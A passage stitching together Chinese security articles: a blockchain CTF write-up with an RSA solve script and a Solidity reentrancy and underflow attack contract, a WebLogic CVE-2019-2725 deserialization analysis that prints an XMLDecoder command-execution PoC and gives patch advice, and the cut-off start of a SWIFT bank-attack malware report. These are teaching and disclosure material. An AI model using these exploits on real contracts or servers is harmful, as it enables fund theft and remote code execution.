uint256 public cutOffBlockNumber; // 下注截止到cutOffBlockNumber,至少有1000个块的距离到创建合约的块
uint256 public status; // 状态，根据每次下注修改状态
mapping(address => uint256) public positiveSet; // 赌注正面赢: status == 1
mapping(address => uint256) public negativeSet; // 赌注反面赢: status == 0
uint256 public positiveBalance; // 正面下注资金总额
uint256 public negativeBalance; // 反面下注资金总额
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert(block.number < cutOffBlockNumber);
_;
}
modifier isStop {
assert(block.number >= cutOffBlockNumber);
_;
}
constructor(uint256 _cutOffBlockNumber) public {
owner = msg.sender;
balanceOf[owner] = 100000000000;
cutOffBlockNumber = _cutOffBlockNumber;
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
return true;
}
// 下注并影响状态，该操作必须在赌局结束之前
function bet(uint256 value, bool positive) isRunning public returns(bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
if (positive == true) {
positiveSet[msg.sender] += value;
positiveBalance += value;
} else {
negativeSet[msg.sender] += value;
negativeBalance += value;
}
bytes32 result = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, block.timestamp));
uint8 flags = (uint8)(result & 0xFF); // 取一个字节，根据值的大小决定状态
if (flags > 128) {
status = 1;
} else {
status = 0;
}
return true;
}
// 猜对就取回成本和猜对所得（猜错将不能取回成本），该操作必须在赌局结束以后
function withdraw() isStop public returns (bool success){
uint256 betBalance;
uint256 reward;
if (status == 1) { // positiveSet
betBalance = positiveSet[msg.sender];
if (betBalance > 0) {
balanceOf[msg.sender] += betBalance;
positiveSet[msg.sender] -= betBalance;
positiveBalance -= betBalance;
reward = (betBalance * negativeBalance) / positiveBalance;
negativeBalance -= reward;
balanceOf[msg.sender] += reward;
}
} else if (status == 0) {
betBalance = negativeSet[msg.sender];
if (betBalance > 0) {
balanceOf[msg.sender] += betBalance;
negativeSet[msg.sender] -= betBalance;
negativeBalance -= betBalance;
reward = (betBalance * positiveBalance) / negativeBalance;
positiveBalance -= reward;
balanceOf[msg.sender] += reward;
}
}
return true;
}
}
不按审合约正确的套路写了，这里给出我的答案，前三个是师傅的预期解。
#### 随机数分布不均
if (flags > 128) {
status = 1;
} else {
status = 0;
}
正:反 = 129:127
#### 发奖金时逻辑有误
negativeSet[msg.sender] -= betBalance;
negativeBalance -= betBalance;
reward = (betBalance * positiveBalance) / negativeBalance;
应该先计算reward，再变动参数，目前这样会导致用户多领款。
#### 游戏时长设计不合理
modifier isRunning {
assert(block.number < cutOffBlockNumber);
_;
}
modifier isStop {
assert(block.number >= cutOffBlockNumber);
_;
}
constructor(uint256 _cutOffBlockNumber) public {
owner = msg.sender;
balanceOf[owner] = 100000000000;
cutOffBlockNumber = _cutOffBlockNumber;
}
我感觉这个算是设计的不好，好在提交的时候提到了构造函数的问题，经师傅锦囊指点，给出了正确解答。这里的设计非常奇怪，我们常见的游戏合约，都是设计游戏时长，这个却设计的是输入截断高度。当合约部署时输入错误，会导致游戏不开始or永远无法结束。给出这样的设计更好：
require(游戏长度> 1000 and 游戏长度<10000);
cutOffBlockNumber = block.number + 游戏长度;
#### 随机数的熵源
虽然没有较完美的随机数生成方案，但这里有个大问题hh
bytes32 result = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, block.timestamp));
区块未生成的情况下，`blockhash(block.number)`恒为0，借secbit的师傅的话：
> 常见不安全的“随机数”计算方法，会读取当前块的前一个块的哈希 block.blockhash(block.number-1) 作为随机源。而在合约内执行
> block.blockhash(block.number) 返回值为
> 0。我们无法在合约内获得当前区块的哈希，这是因为矿工打包并执行交易时，当前区块哈希尚未被算出。因此，我们可以认为“当前区块”哈希是“未来”的，无法预测。
#### 其他
* solidity版本过低
* 上个safemath库，不过这个合约上下溢处理的都ok
### Q11 - 密码学RSA
这题是小伙伴HWHong做的，师傅web渗透一把手，密码学也超厉害！
明文:`something_for_nothing`
思路赛后在群里已经有了，大体是可以看到n2可分解为多个素数，只有一个密文，说明n1是加密用的n，n2是hint。
因为n1，n2高位相同，假设:
* n1 = p1 * q1
* n2 = (p1 + a) * (q1 + b)
#!/usr/bin/env python
# -*- coding: utf-8 -*- from gmpy2 import is_prime as prime
from gmpy2 import iroot
n = 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154545949713245271655372366964733467694911683404472839031932865195076679363440004259157441442904092160547940620462275523928770007343760308099893870201392965037704560065286860197211399375405419620507897112217284427055511050820476779226202266877872708788417574738346625361066145535064835057037859284000257460115692751L
nn = 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154673727252437046185126099084752843732400209032782207790902956024459189700856089587545302854326571561755007254420608514135036673700243280752364319986331493694769729841789115612749641973878393284804681876299531933348630664123809944975501332215753682284226293973903784246618067269627749460102002825975011735463170307L
# print nn > n
t = nn - n
def f1(x, y): return pow(x * y - t, 2) - 4 * n * x * y
def f2(x, y, s): return (t - x * y - s) / (2 * x)
for x in xrange(366, 3000):
for y in xrange(1, 3000):
print x, y
if f1(x, y) >= 0:
s, b = iroot(f1(x, y), 2)
if b:
if prime(f2(x, y, int(s))):
print "Success"
print f2(x, y, int(s))
exit()
之后RSA解密即可
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def bytes_to_num(b):
return int(b.encode('hex'), 16)
def num_to_bytes(n):
b = hex(n)[2:-1]
b = '0' + b if len(b)%2 == 1 else b #16进制补成偶数位
return b.decode('hex')
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
n= 23813929634961916607351565880455941766670447113389071712756695324346844628401731716721342593051007386272154527731664038624979611788014212477351852945244505409460937047258358062539110381430391840699958786987625931706228387994323041218966203797392082298285118826348211114759651033904573709571472601260689154545949713245271655372366964733467694911683404472839031932865195076679363440004259157441442904092160547940620462275523928770007343760308099893870201392965037704560065286860197211399375405419620507897112217284427055511050820476779226202266877872708788417574738346625361066145535064835057037859284000257460115692751L
q = 153346707022470063255234682736500792074659843501367018551890586572000593877733769700626279692600930780783180304304442159621776245608196861201940418144595471936294352073422843950321344403965643436262621305985924339820909114418402737553700882775797335050564405239123363288904724634792579573240467129306394648627
p = 155294691991478076246533723107402680119846505071987471714029291163531622103148666018845728574257526241116901720654471382085147320775795052977889980257647661071362112907870430296641453839932096411043572129394525643559799347739002453989935199062302896371462733787830466546655020686256703190391276771066251117813
c = 18605789682603602447496491798717321758798293700581905324029316650457391496265655270825055100678097929357061608642146193773598093988238186832894784951616085628646685595376101261377731258729834390380505295109894703902052847643842156614062711247564519297808798554671766259798926540994634858657655351713982599673967765484141456377356967352743349134262973092564982272405212241089526282547070247316071159193009664342169931360323767519419547890738439815871541842638219161372841320792826512207337857015266817573319095062799628537492791048391092577478382005012019416835632572465215950053539506334972912038960318318733757235757L
e = 65537
print p*q == n
d = modinv(e,(p-1)*(q-1))
print "d: " + str(d)
m = pow(c,d,p*q)
print "m: " + str(m)
flag = hex(m)
print str(flag)[2:-1].decode('hex')
### Q14 - puzzle Hello
长亭的晓航师傅技术厉害，出的题好，人还帅，我们队已经全员被圈粉了orz。
这是一道考察与合约交互的基础题。只给了函数声明和合约地址，通过反复交互，获得提示，最后拿到flag，不是很难。我没怎么记住具体过程，不过只要是做合约审计方向的，应该都可以做出来。
我这留了个邮件的记录，大佬们可以参考一下交互方式，其实两个合约可以合并，当时打得有点意识模糊。。
随机数生成
pragma solidity ^0.4.19;
contract Attack {
address public owner;
address public victim;
uint256 public num;
function Attack() payable { owner = msg.sender;
victim = 0xc95872680072f57485aa0913ded224ee70a9e2cb;
}
function sissel() public view returns(uint256)
{
uint256 seed = uint256(blockhash(block.number-1));
uint256 rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
return rand;
}
}
交互，可能少了几个步骤，大体是这样
contract xixi {
address public owner;
constructor()public{
owner = msg.sender;
}
function getInfo() public pure returns(string);
function sendFlag1() public returns(string);
function getCode() public pure returns(string);
function game(uint256 guess) public view returns(string);
}
### Q15 - Puzzle Magic Bank
还是晓航师傅出的题，超有趣，我很喜欢这样不是很难，但是考点很多，而且每一步都理所应当的题目。
contract MagicBank {
mapping(address => uint) public balanceOf;
mapping(address => uint) public creditOf;
address owner;
constructor()public{
owner = msg.sender;
}
function transferBalance(address to, uint amount) public{
require(balanceOf[msg.sender] - amount >= 0);
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
}
event SendFlag(uint256 flagnum, string b64email);
function sendFlag3(string b64email) public {
require(balanceOf[msg.sender] >= 10000);
emit SendFlag(1, b64email);
}
function guessRandom(uint256 guess) internal view returns(bool){
uint256 seed = uint256(blockhash(block.number-1));
uint256 rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
return rand == guess;
}
function buyCredit(uint256 guess) public {
require(guessRandom(guess));
require(balanceOf[msg.sender] >= 10000);
require(creditOf[msg.sender] == 0);
creditOf[msg.sender] = 1;
balanceOf[msg.sender] -= 10000;
}
function withdrawCredit(uint amount) public{
require(creditOf[msg.sender] >= amount);
msg.sender.call.value(amount*1000000000)();
creditOf[msg.sender] -= amount;
}
function sendFlag4(string b64email) public {
require(creditOf[msg.sender] >= 10000);
emit SendFlag(2, b64email);
}
function getEthBalance() public view returns(uint256){
return this.balance;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function kill(address t) public onlyOwner {
selfdestruct(t);
}
}
这题的流程是这样的：
1. 首先随意`transferBalance()`一下，造成下溢，让balance很大，获得flag3
2. 绕过随机数预测，成功调用`buyCredit()`，购买信用。
3. `withdrawCredit()`中依然存在下溢问题，但是require变严格，需要使用重入攻击，在未更新credit时，多取几次。
4. 上面的攻击遇到一个问题，就是目标合约里没有钱。且目标合约的回调函数没有payable，需要创建另一个合约，selfdestruct后，强制给目标合约转账。
5. credit下溢后，获得flag4。
攻击合约：
contract magic_attack {
address owner;
string private email = "OTA3ODg2MDc2QHFxLmNvbQ==";
address private victim = 0x1180e23d7360fc19cf7c7cd26160763b500b158b;
uint256 public rand = 0;
constructor()public{
owner = msg.sender;
email = "OTA3ODg2MDc2QHFxLmNvbQ==";
}
function step1() public{
address my_to = 0x1180e23d7360fc19cf7c7cd26160763b500b151c;
uint256 amount = 0x186a0;
victim.call(bytes4(keccak256("transferBalance(address,uint256)")),my_to,amount);
}
function step2() public{
uint256 seed = uint256(blockhash(block.number-1));
rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
victim.call(bytes4(keccak256("buyCredit(uint256)")),rand);
}
//在这里，另一个合约自毁。
function step3() public{
victim.call(bytes4(keccak256("withdrawCredit(uint256)")),1);
}
function () payable public{
victim.call(bytes4(keccak256("withdrawCredit(uint256)")),1);
}
function test() public{
MagicBank mb = MagicBank(victim);
mb.sendFlag4(email);
}
}
contract bomb {
address owner;
constructor()public{
owner = msg.sender;
}
function () payable public{}
function end() public{
selfdestruct(0x1180e23d7360fc19cf7c7cd26160763b500b158b);
}
}
## 总结
本次比赛天枢获得了第二名的好成绩，与小伙伴们在比赛中的默契配合息息相关的。
让我总结一下区块链安全的要义，我想说：想象力就是武器。面对区块链和智能合约的题目，只有胆大心细多思考，才能想出完整的攻击链。
现实中，合约、节点、共识算法、钱包、交易所等等，无论哪方面薄弱，都会让黑客有着把货币席卷一空的可能。
就像是在赛事最后分享环节我所说，希望大家在工作中胆大心细，注意好系统的细枝末节，作为安全从业人员，才算真正完成了我们的工作。 | 社区文章 |
# Weblogic反序列化远程代码执行漏洞（CVE-2019-2725）分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Googuo@云影实验室
## 0x01 漏洞描述
4月17日，国家信息安全漏洞共享平台（CNVD）公开了Weblogic反序列化远程代码执行漏洞（CNVD-C-2019-48814）。由于在反序列化处理输入信息的过程中存在缺陷，未经授权的攻击者可以发送精心构造的恶意
HTTP
请求，利用该漏洞获取服务器权限，实现远程代码执行。目前，POC已在野外公开（见参考链接）。官方紧急补丁（CVE-2019-2725）已于4月26日发布，请受影响主机及时修复漏洞。
受影响版本
* Oracle WebLogic Server 10.*
* Oracle WebLogic Server 12.1.3
影响组件：
* bea_wls9_async_response.war
* wsat.war
危害等级： 高，攻击者利用此漏洞可执行任意代码。
## 0x02 漏洞分析
根据国家信息安全漏洞共享平台（CNVD）漏洞公告，此漏洞存在于异步通讯服务，可通过访问路径/_async/AsyncResponseService，判断不安全组件是否开启。wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类，因此会受该漏洞影响：
为更好的理解漏洞成因，通过IDEA对WebLogic服务器远程动态调试（因为需要跟进原生类中的方法，需要在IDEA中指定WebLogic安装目录中的JDK文件夹），在ProcessBuilder类中打下断点，关键的调用栈过程如下所示：
调用栈非常深，下面解释一下几个关键的部分。首先是继承自HttpServlet的BaseWSServlet类，其中的service方法主要用于处理HTTP请求及其响应，通过HTTP协议发送的请求包封装在HttpServletRequest类的实例化对象var1中：
调用BaseWSServlet中定义的内部类AuthorizedInvoke的run()方法完成传入HTTP对象的权限验证过程：
若校验成功，则进入到SoapProcessor类的process方法中，通过调用HttpServletRequest类实例化对象var1的getMethod()方法获取HTTP请求类型，若为POST方法，则继续处理请求：
HTTP请求发送至SoapProcessor类的handlePost方法中：
private void handlePost(BaseWSServlet var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException {
assert var1.getPort() != null;
WsPort var4 = var1.getPort();
String var5 = var4.getWsdlPort().getBinding().getBindingType();
HttpServerTransport var6 = new HttpServerTransport(var2, var3);
WsSkel var7 = (WsSkel)var4.getEndpoint();
try {
Connection var8 = ConnectionFactory.instance().createServerConnection(var6, var5);
var7.invoke(var8, var4);
} catch (ConnectionException var9) {
this.sendError(var3, var9, "Failed to create connection");
} catch (Throwable var10) {
this.sendError(var3, var10, "Unknown error");
}
}
为方便后续分析工作进行，在此先简单介绍一下SOAP协议内容及格式：SOAP（中文称之为简单对象访问协议），用于在WEB上交换结构化和固化的信息，是[Web
Service](http://www.wfuyu.com/s/webservices)三要素之一，可以和现存的许多因特网协议和格式结合使用。下图展示SOAP消息封装的标准格式：
BaseWSServlet类实例化对象var1封装了基于HTTP协议的SOAP消息：
调用var1对象中定义的getPort()方法解析SOAP消息中的根元素Envelope（可把 XML 文档定义为 SOAP
消息），获取所调用服务的端口信息：
通过var4对象的getWsdlPort().getBinding().getBindingType()方法获取当前SOAP协议规范版本信息：
并将HttpServletRequest类的var2对象及HttpServletResponse类的对象var3传入到HttpServerTransport类构造函数中初始化实例对象var6统一处理后续HTTP请求及响应。
继续调用var4对象中getEndpoint()方法完成对SOAP消息中根元素Envelope解析并读取与其相关联的xmlns:soap命名空间，其后分别完成对SOAP
Header元素和Body元素解析工作:
跟进WsSkel类中定义的invoke()方法，其中完成了ServerDispatcher类实例化过程，并调用setWsPort()方法指定服务请求地址，进入调试器查看WsPort对象var2的属性值，发现底层依靠HashMap数据结构保存请求服务的Address和URI，其中当前请求http://:7001/_async/AsyncResponseService服务：
在调试器中查看ServerDispatcher对象var5属性值，发现methodName属性中赋值了onAsyncDelivery方法名，在调用dispatch()方法时将调用上述服务中定义的该方法：
WorkAreaServerHandler类中的handleRequest()方法用于处理访问请求，通过WlMessageContext对象var2获取传入的MessageContext，调用var2对象的getHeaders()方法获取传入SOAP消息的Header元素，并最终将该元素传递到WorkAreaHeader对象var4中，可以在调试器中清晰看到元素内容的赋值：
新建WorkContextMapInterceptor对象var5，在其receiveRequest()方法中读入经WorkContextXmlInputAdapter适配器构造函数转换过后的var4对象字节数组输出流，经内部getMap()
-> receiveRequest() -> readEntry()
方法处理后，将上述Content字段传入至WorkContextXmlInputAdapter类的readUTF()方法中：
readUTF()方法中调用WorkContextXmlInputAdapter类私有成员变量xmlDecoder的readObject()方法读取字节数组，经内部SAXParser类链式调用一系列解析器的parse()方法后，最终在com.sun.beans.ObjectHandler类定义的endElement()方法中完成XML文档元素解析过程，获取了有效类名oracle.toplink.internal.sessions.UnitOfWorkChangeSet：
在Security机制完成对类名权限校验后，利用Java反射机制，通过元类定义的newInstance()方法实现上述类的实例化过程：
同样通过反射包中的Constructor类调用构造器方法传入字节数组，为上述实例对象赋初值：
UnitOfWorkChangeSet对象完成初始化过程后，使用ByteArrayInputStream对象接收经构造函数传入的字节数组，再将ByteArrayInputStream对象byteIn转换为ObjectInputStream对象objectIn，并直接调用了objectIn对象的readObject()方法。由于WebLogic安装包中默认SDK为1.6版本，在JDK版本<=JDK7u21前提下存在Java原生类反序列化漏洞，使用ysoserial工具生成恶意序列化对象（以计算器程序为例），可在调试器中查看到当前所传入的序列化对象：
经readObject()方法反序列化恶意对象后通过在ProcessBuilder类的start()方法断点处查看command属性，发现成功传入“calc”字符串：
到此就完成了漏洞利用的全过程，下图演示了漏洞利用效果，通过反序列化漏洞成功运行了计算器程序：
## 0x03 补丁绕过
下面来分析下本次漏洞和以前所公布的CVE-2017-3506和CVE-2017-10271之间的关系，依旧从补丁diff着手，上述两个补丁都是在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法。首先来看CVE-2017-3506补丁文件，其实现方法简单来说就是在调用startElement方法解析XML的过程中，如果解析到Element字段值为Object就抛出异常：
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
但上述这类采用黑名单的防护措施很快就被如下POC轻松绕过，因为其中不包含任何Object元素，但经XMLDecoder解析后依旧造成了远程代码执行：
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start" />
</new>
</java>
针对如上所示一系列bypass
CVE-2017-3506补丁限制的POC的产生，官方在同年十月份发布了CVE-2017-10271补丁文件。和上述不同点在于本次更新中官方将object、new、method关键字继续加入到黑名单中，一旦解析XML元素过程中匹配到上述任意一个关键字就立即抛出运行时异常。但是针对void和array这两个元素是有选择性的抛异常，其中当解析到void元素后，还会进一步解析该元素中的属性名，若没有匹配上index关键字才会抛出异常。而针对array元素而言，在解析到该元素属性名匹配class关键字的前提下，还会解析该属性值，若没有匹配上byte关键字，才会抛出运行时异常：
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
本次反序列化漏洞绕过以往补丁的关键点在于利用了Class元素指定任意类名，因为CVE-2017-10271补丁限制了带method属性的void元素，所以不能调用指定的方法，而只能调用完成类实例化过程的构造方法。在寻找利用链的过程中发现UnitOfWorkChangeSet类构造方法中直接调用了JDK原生类中的readObject()方法，并且其构造方法的接收参数恰好是字节数组，这就满足了上一个补丁中array标签的class属性值必须为byte的要求，再借助带index属性的void元素，完成向字节数组中赋值恶意序列化对象的过程，最终利用JDK
7u21反序列化漏洞造成了远程代码执行。通过巧妙的利用了void、array和Class这三个元素成功的打造了利用链，再次完美的绕过了CVE-2017-10271补丁限制，本次漏洞的发现进一步证明了依靠黑名单机制是一种不可靠的防护措施。
## 0x04 临时修复建议
官方目前已发布针对此漏洞的紧急修复补丁，可以采取以下4种方式进行防护。
及时打上官方CVE-2019-2725补丁包
官方已于4月26日公布紧急补丁包，下载地址如下：<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html?from=timeline>
升级本地JDK版本
因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件，属于存在反序列化漏洞的JDK版本，因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
配置URL访问控制策略
部署于公网的WebLogic服务器，可通过ACL禁止对/_async/*及/wls-wsat/*路径的访问。
删除不安全文件
删除wls9_async_response.war与wls-wsat.war文件及相关文件夹，并重启Weblogic服务。具体文件路径如下：
10.3.*版本：
\Middleware\wlserver_10.3\server\lib\
%DOMAIN_HOME%\servers\AdminServer\tmp\\_WL_internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\\.internal\
---
12.1.3版本：
\Middleware\Oracle_Home\oracle_common\modules\
%DOMAIN_HOME%\servers\AdminServer\tmp\\.internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\\_WL_internal\
---
注：wls9_async_response.war及wls-wsat.war属于一级应用包，对其进行移除或更名操作可能造成未知的后果，Oracle官方不建议对其进行此类操作。若在直接删除此包的情况下应用出现问题，将无法得到Oracle产品部门的技术支持。请用户自行进行影响评估，并对此文件进行备份后，再执行此操作。
## 0x05 Reference
<http://www.cnvd.org.cn/webinfo/show/4999>
<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html?from=timeline>
<https://devcentral.f5.com/articles/oracle-weblogic-deserialization-remote-code-execution-34185> | 社区文章 |
# SWIFT之殇：针对越南先锋银行的黑客攻击技术初探
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**Author:360追日团队**
近期,孟加拉国、厄瓜多尔、越南、菲律宾等多个国家的银行陆续曝出曾经遭遇黑客攻击并试图窃取金钱事件,这些事件中黑客都瞄准了SWIFT银行间转账系统,对相关银行实施攻击和窃取。360追日团队深入分析了截获的黑客攻击越南先锋银行所使用的恶意代码样本,并由此对此次事件中的黑客攻击技术进行了初步探索。
**0x00 概述**
随着孟加拉国央行被黑客攻击导致8100万美元被窃取的事件逐渐升温,针对银行SWIFT系统的其他网络攻击事件逐一被公开,具体如下表所示:
表 1 针对银行攻击事件汇总
通过对相关恶意代码和攻击手法的研究,以及其他安全厂商的研究结论,360追日团队推测针对孟加拉国央行和越南先锋银行发起攻击的幕后组织或许是同一个组织,该组织可能是Operation
Blockbuster所揭秘披露的Lazarus组织,中国相关机构也是该组织主要攻击目标之一。
本报告主要就越南先锋银行的相关攻击事件、样本展开深入分析,暂不深入关联孟加拉国央行被攻击事件和Lazarus组织,对相关事件或组织之间的关联归属分析等,我们在之后的关联分析报告中会有详细的介绍。
关于Lazarus黑客组织
2016年2月25日,Lazarus黑客组织以及相关攻击行动由卡巴斯基实验室、AlienVault实验室和Novetta等安全企业协作分析并揭露。2013年针对韩国金融机构和媒体公司的DarkSeoul攻击行动和2014年针对索尼影视娱乐公司(Sony
Pictures Entertainment,SPE)攻击的幕后组织都是Lazarus组织。
表 2 Lazarus组织历史活动相关重大事件节点
**0x01 关于SWIFT**
SWIFT全称是Society for Worldwide Interbank Financial
Telecommunication,中文名是“环球同业银行金融电信协会”。1973年5月,由美国、加拿大和欧洲的—些大银行正式成立SWIFT组织,其总部设在比利时的布鲁塞尔,它是为了解决各国金融通信不能适应国际间支付清算的快速增长而设立的非盈利性组织,负责设计、建立和管理SWIFT国际网络,以便在该组织成员间进行国际金融信息的传输和确定路由。
目前全球大多数国家大多数银行已使用SWIFT系统。SWIFT的使用,使银行的结算提供了安全、可靠、快捷、标准化、自动化的通讯业务,从而大大提高了银行的结算速度。由于SWIFT的格式具有标准化,目前信用证的格式主要都是用SWIFT电文。
1\. SWIFT提供的服务
* 接入服务(Connectivity)
包括SWIFTAlliance Access and Entry 、SWIFTAlliance Gateway 、SWIFTAlliance
Webstation 、File Transfer Interface 等接入模式;
* 金融信息传送服务(Messaging)
包括SWIFTNet FIN 、SWIFTNet InterAct 、SWIFT FileAct 、SWIFTNeBrowse 等传输模式;
* 交易处理服务(transaction processing)
提供交易处理匹配服务 、实时报告的双边净额清算服务 、支持B2B的商务中的端对端电子支付等;
* 分析服务与分析工具(Analytical Services/Tools)
向金融机构提供一些辅助性的服务,即分析服务与分析工具。
2\. SWIFT CODE
SWIFT Code是由该协会提出并被ISO通过的银行识别代码,其原名是BIC (Bank Identifier Code)。
每个申请加入SWIFT组织的银行都必须事先按照SWIFT组织的统一规则,制定出本行SWIFT地址代码,经SWIFT组织批准后正式生效。SWIFT
Code由8位或11位英文字母或数字组成。
代码格式:
* 8码长—XXXXXXXX
* * 11码长—XXXXXXXXXXX
*
各部分的含义如下:
a. 银行代码:由四位易于识别的银行行名字头缩写字母构成,如 ABOC、ICBK、CITI 等;
b. 国家代码:根据国际标准化组织的规定由两位字母构成,如 CN、HK、GB、US、DE 等;
c. 地区代码:由两位数字或字母构成,标明城市,如 BJ、HH、SX 等;
d. 分行代码:由三位数字或字母构成,标明分行,如 100、010、CJ1、400 等,若表示总行,则使用XXX。
3\. SWIFT报文
SWIFT组织根据国际结算业务开展的需要,制定了相关的标准格式的报文,SWIFT的标准格式分为两种:
* 基于FIN的标准MTs
* 基于XML的新标准MXs
MTs(Message Type
,MTs通用表达式为MTnXX):n(0～9)表示报文类型,XX表示在n类型中的分类,目前共有10类报文,应用较多的是第1、2、3、5、7、9类型。
MXs :在1999年,SWIFT组织选择了XML编码作为新一代标准,同时决定最终应用新一代以XML为基础的标准(MXs),
目前两种标准共存,MX标准由12类报文组成。
SWIFT MT报文
根据银行的实际运作,SWIFT MT报文共划分为十大类:
表 3 SWFIT MT报文十大类
SWIFT报文第1类至第8类均为押类电报,需要使用SWIFT密押。SWIFT密押是独立于电传密押之外,在代理行之间交换,且仅供双方在收发SWIFT电讯时使用的密押。其他两类属于不加押报文。
4\. T950对帐单
MT950范围
这是由帐户行发送给开户行,用来说明所开帐户上所有发生额详细情况的报文格式。
MT950准则
* 费用、利息及其它调整所应用的方式
1. 必须用相关业务编号加以识别,如开户行原业务的编号;
2. 本金必须在对帐单中单独列明。
1. 列明已发送的费用通知MTn90报文编号;
2. 如该费用系通过本对帐单首先通知开户行,则必须符合以下条件:
* 对帐单中的金额必须与原业务中的金额一致。如有费用已在业务报文中清楚列明,或是某一报文的必要组成部分(如托收款项),则该费用不必在对帐单中特别注明;
* 帐户行不得将各自独立的业务并笔。如原收付报文系多笔业务,对帐单中仍应分别记帐,每笔借记均须引用原各自报文中域20;
* 建议在每个营业日日终,只要帐户中有发生额,帐户行就发送MT950;
* 为便于人工核对,建议对帐单中的发生额先按借记和贷记排列,在借记和贷记两类中分别按起息日排列,同一起息日的借、贷记中,按金额由小到大排列;
* 一份对帐单的内容可由数份报文组成。
MT950域详述
* 域 20:发报行的编号
* 域 25:帐号
列明该对帐单的帐号。
* 域28C:对帐单号码 / 分页序号
该域内容前后分别表示对帐单连续号码和每一份对帐单报文的分页序号。
* 域60a:起始余额
列明某对帐单所涉及的一段时期开始时,有关帐户的帐面余额;或当报文出现分页时,每一分页的过渡起始余额。其内容包括:
* *
该域内容必须与前一份该帐户对帐单报文域“62a”相同。只有当该报文系某一时期对帐单的第一分页,或对帐单没有分页,这份报文中该域代号才为“60F”。
* 域61:对帐单细目
列明每笔业务的详情。在报文的容量允许范围内,该域可重复使用,其内容共有九个子域,顺序如下:
* *
1. 如系通过SWIFT报文收付的金额及其费用,其类型表现为:“Snnn”字母“S”后的三位数字即SWIFT报文格式代号。
2. 如系通过非SWIFT报文收付的金额及其费用,其类型表现为“Nxxx”字母“N”后的三个字母为下列代码之一所替换以表示该资金收付的理由:
3. 4. 由本对帐单首次通知开户人的收付金额(该收付发生在帐户行,在发送本对帐单之前未曾通知过开户人),其类型表现为:“Fxxx”。字母“F”后的三个字母必须为适当的代码以表示该借记或贷记的原由(代码同2)。
5.
* 域62a:帐面余额(结束余额)
如对帐单没有分页,或某报文是对帐单的最后一个分页(在对帐单由数份报文组成时),在这样的报文中,该域代号为“62F”,其内容为该对帐单结束时的帐面结存的最后余额,其余额必须出现在下期对帐单的域“60F”中。如该报文不是对帐单的最后一个分页,该域代号为“62M”,其内容为过渡帐面余额,其余额必须出现在下一分页的“60M”中。其内容有四个子域,结构同域“60a”。
* 域64:有效余额
如该域列明贷方余额,则为有效余额。如列明借方余额,则开户人须为此支付利息。其内容有四个子域,结构同域“60a”。
**0x02 攻击事件分析**
1\. 整体流程
图 1 整体关系流程
针对越南先锋银行的攻击中,相关恶意代码内置了8家银行的SWIFT CODE,越南银行均在这些银行中设有代理帐户。目前看到的Fake PDF
Reader样本目的不是攻击列表中的这些银行,而是用来删除越南银行与其他家银行间的转帐确认(篡改MT950对帐单)。这样银行的监测系统就不会发现这种不当交易了。
2\. 功能概述
Fake PDF Reader伪装成Foxit reader(福昕PDF阅读器),原始Foxit Reader.exe被重命名为Foxlt
